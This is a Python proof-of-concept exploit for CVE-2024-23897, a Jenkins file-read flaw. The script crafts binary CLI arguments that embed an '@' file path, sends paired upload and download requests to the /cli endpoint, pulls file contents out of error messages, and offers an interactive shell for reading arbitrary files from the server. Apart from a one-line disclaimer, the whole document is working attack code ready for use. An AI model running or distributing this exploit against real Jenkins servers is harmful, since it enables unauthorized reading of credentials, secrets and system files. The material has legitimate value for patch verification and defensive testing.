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| #!/usr/bin/env python3
# DISCLAIMER: For authorized security research and defensive testing only.
# -*- coding: utf-8 -*-
"""
This script is used to exploit CVE-2024-23897 (Jenkins file-read).
This script was created to parse the output file content correctly.
Limitations: https://www.jenkins.io/security/advisory/2024-01-24/#binary-files-note
"""
# Imports
import argparse
from cmd import Cmd
import os
import re
import requests
import struct
import threading
import time
import urllib.parse
import uuid
import base64
# Disable SSL self-signed certificate warnings
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Constants
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
ENDC = "\033[0m"
ENCODING = "UTF-8"
class File_Terminal(Cmd):
"""This class provides a terminal prompt for file read attempts."""
intro = "Welcome to the Jenkins file-read shell. Type help or ? to list commands.\n"
prompt = "file> "
file = None
def __init__(self, read_file_func):
self.read_file = read_file_func
super().__init__()
def do_cat(self, file_path):
"""Retrieve file contents."""
self.read_file(file_path)
def do_exit(self, *args):
"""Exit the terminal."""
return True
default = do_cat
class Op:
ARG = 0
LOCALE = 1
ENCODING = 2
START = 3
EXIT = 4
STDIN = 5
END_STDIN = 6
STDOUT = 7
STDERR = 8
def send_upload_request(uuid_str, file_path):
time.sleep(0.3)
try:
# Construct payload
data = jenkins_arg("connect-node", Op.ARG) + jenkins_arg("@" + file_path, Op.ARG) + jenkins_arg(ENCODING, Op.ENCODING) + jenkins_arg("en", Op.LOCALE) + jenkins_arg("", Op.START)
# Prepare headers with authentication if provided
headers = {
"User-Agent": args.useragent,
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream",
}
if args.username and args.password:
auth_str = f"{args.username}:{args.password}"
auth_bytes = auth_str.encode('ascii')
base64_auth = base64.b64encode(auth_bytes).decode('ascii')
headers["Authorization"] = f"Basic {base64_auth}"
# Send upload request
r = requests.post(
url=args.url + "/cli?remoting=false",
headers=headers,
data=data,
proxies=proxies,
timeout=timeout,
verify=False,
)
except requests.exceptions.Timeout:
print(f"{RED}[-] Request timed out{ENDC}")
return False
except Exception as e:
print(f"{RED}[-] Error in download request: {str(e)}{ENDC}")
return False
def jenkins_arg(string, operation) -> bytes:
out_bytes = b"\x00\x00"
out_bytes += struct.pack(">H", len(string) + 2)
out_bytes += bytes([operation])
out_bytes += struct.pack(">H", len(string))
out_bytes += string.encode("UTF-8")
return out_bytes
def safe_filename(path):
# Get the basename of the path
safe_path = path.replace("/", "_")
# Replace non-alphanumeric characters (except underscores) with underscores
safe_name = "".join(c if c.isalnum() or c == "_" else "_" for c in safe_path)
return safe_name
def send_download_request(uuid_str, file_path):
file_contents = b""
try:
# Prepare headers with authentication if provided
headers = {
"User-Agent": args.useragent,
"Session": uuid_str,
"Side": "download"
}
if args.username and args.password:
auth_str = f"{args.username}:{args.password}"
auth_bytes = auth_str.encode('ascii')
base64_auth = base64.b64encode(auth_bytes).decode('ascii')
headers["Authorization"] = f"Basic {base64_auth}"
# Send download request
r = requests.post(
url=args.url + "/cli?remoting=false",
headers=headers,
proxies=proxies,
timeout=timeout,
verify=False
)
# Debug response
if args.verbose:
print(f"{YELLOW}[*] Response status code: {r.status_code}{ENDC}")
print(f"{YELLOW}[*] Response headers: {r.headers}{ENDC}")
print(f"{YELLOW}[*] Raw response (hex):{ENDC}")
print(r.content.hex())
# Parse response content
response = r.content
if response:
if b"No such file:" in response:
print(f"{RED}[-] File does not exist{ENDC}")
return False
elif b"Authentication required" in response:
print(f"{RED}[-] Authentication failed. Please check your credentials.{ENDC}")
return False
# Process the response content
content_lines = []
lines = response.split(b"\n")
for line in lines:
# Remove null bytes
line = line.replace(b"\x00", b"")
# Skip empty lines and pure error messages
if not line.strip() or line.strip() == b"ERROR:":
continue
# Handle "No such agent" lines - extract content from error message
if b": No such agent" in line:
# Get the content before the error message
content = line[:line.find(b": No such agent")]
# Check if this is a variable assignment
if b"=" in content:
var_name, var_value = content.split(b"=", 1)
# Try to extract the actual value from quotes in the error message
match = re.search(b'"([^"]*)"', line)
if match:
# Extract just the value part after the equals sign
error_content = match.group(1)
if b"=" in error_content:
# If the quoted content contains an equals sign, take everything after it
error_content = error_content.split(b"=", 1)[1]
# Check if the original value was quoted
if var_value.strip().startswith(b'"'):
content = var_name + b'="' + error_content + b'"'
else:
content = var_name + b"=" + error_content
else:
# Not a variable assignment, try to extract quoted content
match = re.search(b'"([^"]*)"', line)
if match:
content = match.group(1)
if content.strip():
content_lines.append(content.strip())
# Handle direct content lines (not error messages)
elif b"ERROR:" not in line and line.strip():
content_lines.append(line.strip())
# Join all valid content lines
if content_lines:
file_contents = b"\n".join(content_lines)
else:
# For very small files that might appear in error messages
error_content = response.replace(b"\x00", b"").strip()
if error_content and b"ERROR:" not in error_content:
file_contents = error_content
except requests.exceptions.Timeout:
print(f"{RED}[-] Request timed out{ENDC}")
return False
except Exception as e:
print(f"{RED}[-] Error in download request:{ENDC} {str(e)}")
return False
# Save file
if args.save:
safe_path = safe_filename(file_path).strip("_")
if not os.path.exists(safe_path) or args.overwrite:
with open(safe_path, "wb") as f:
f.write(file_contents)
if args.verbose:
print(f"{YELLOW}[*] File saved to {safe_path}{ENDC}")
else:
if args.verbose:
print(f"{YELLOW}[*] File already saved to {safe_path}{ENDC}")
# Print contents
if file_contents:
try:
# Try to decode as UTF-8 first
decoded_content = file_contents.decode(ENCODING, errors="replace")
if args.verbose:
print(f"{YELLOW}[*] Decoded content length: {len(decoded_content)}{ENDC}")
# Handle single-line content (like version numbers)
if not decoded_content.strip().count('\n'):
print(decoded_content.strip())
else:
# Split into lines and print each non-empty line
for line in decoded_content.splitlines():
if line.strip():
print(line)
except UnicodeDecodeError:
# If UTF-8 fails, try to print as hex
print(f"{YELLOW}[*] Binary content detected. Showing hex dump:{ENDC}")
print(file_contents.hex())
else:
print("<empty>")
return True
def read_file(file_path):
# Create random UUID
uuid_str = str(uuid.uuid4())
# Send upload/download requests
upload_thread = threading.Thread(target=send_upload_request, args=(uuid_str, file_path))
download_thread = threading.Thread(target=send_download_request, args=(uuid_str, file_path))
upload_thread.start()
download_thread.start()
upload_thread.join()
download_thread.join()
if __name__ == "__main__":
# Parse arguments
parser = argparse.ArgumentParser(description="POC for CVE-2024-23897 (Jenkins file read)")
parser.add_argument("-u", "--url", type=str, required=True, help="Jenkins URL")
parser.add_argument(
"-a",
"--useragent",
type=str,
required=False,
help="User agent to use when sending requests",
default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
)
parser.add_argument("-f", "--file", type=str, required=False, help="File path to read")
parser.add_argument("-t", "--timeout", type=int, default=3, required=False, help="Request timeout")
parser.add_argument("-s", "--save", action="store_true", required=False, help="Save file contents")
parser.add_argument("-o", "--overwrite", action="store_true", required=False, help="Overwrite existing files")
parser.add_argument("-p", "--proxy", type=str, required=False, help="HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)")
parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Verbosity enabled - additional output flag")
parser.add_argument("--username", type=str, required=False, help="Jenkins username for authentication")
parser.add_argument("--password", type=str, required=False, help="Jenkins password or API token for authentication")
args = parser.parse_args()
# Input-checking
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
args.url = urllib.parse.urlparse(args.url).geturl().strip("/")
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}
else:
proxies = {}
timeout = args.timeout
# Execute
if args.file:
read_file(args.file)
else:
File_Terminal(read_file).cmdloop()
|
